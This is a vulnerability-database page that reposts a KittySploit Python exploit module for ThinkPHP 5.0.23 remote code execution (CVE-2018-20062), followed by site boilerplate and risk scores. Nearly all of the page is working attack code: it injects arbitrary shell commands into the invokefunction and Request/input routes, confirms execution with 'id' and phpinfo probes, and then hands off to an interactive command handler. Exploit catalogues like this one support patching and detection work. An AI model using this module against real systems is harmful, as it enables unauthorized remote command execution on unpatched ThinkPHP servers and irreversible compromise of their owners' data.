Lucene search
+L

ThinkPHP 5.0.23 RCE (CVE-2018-20062)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 7 Views

Remote code execution in ThinkPHP via call_user_func_array in invokefunction.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ThinkPHP 5.0.23 invokefunction RCE (CVE-2018-20062)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'ThinkPHP 5.0.23 RCE (CVE-2018-20062)',
        'description': (
            'Exploits CVE-2018-20062 in ThinkPHP 5.0.23 via call_user_func_array '
            'in index/think\\app/invokefunction for remote code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-20062'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce',
        ],
        'tags': ['thinkphp', 'php', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2018_20062_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        paths = (
            f'/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={safe}',
            f'/?s=index/\\think\\Request/input&filter=system&data={safe}',
        )
        for path in paths:
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.text:
                return r.text
        return ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-20062 RCE confirmed', 'confidence': 'high'}
        r = self.http_request(
            method='GET',
            path='/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
            allow_redirects=False,
        )
        if r and all(m in (r.text or '') for m in ('PHP Version', 'ThinkPHP')):
            return {'vulnerable': True, 'reason': 'ThinkPHP invokefunction surface confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ThinkPHP RCE not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
9.3Critical risk
Vulners AI Score9.3
CVSS 27.5
CVSS 3.19.8
EPSS0.9953
SSVC
7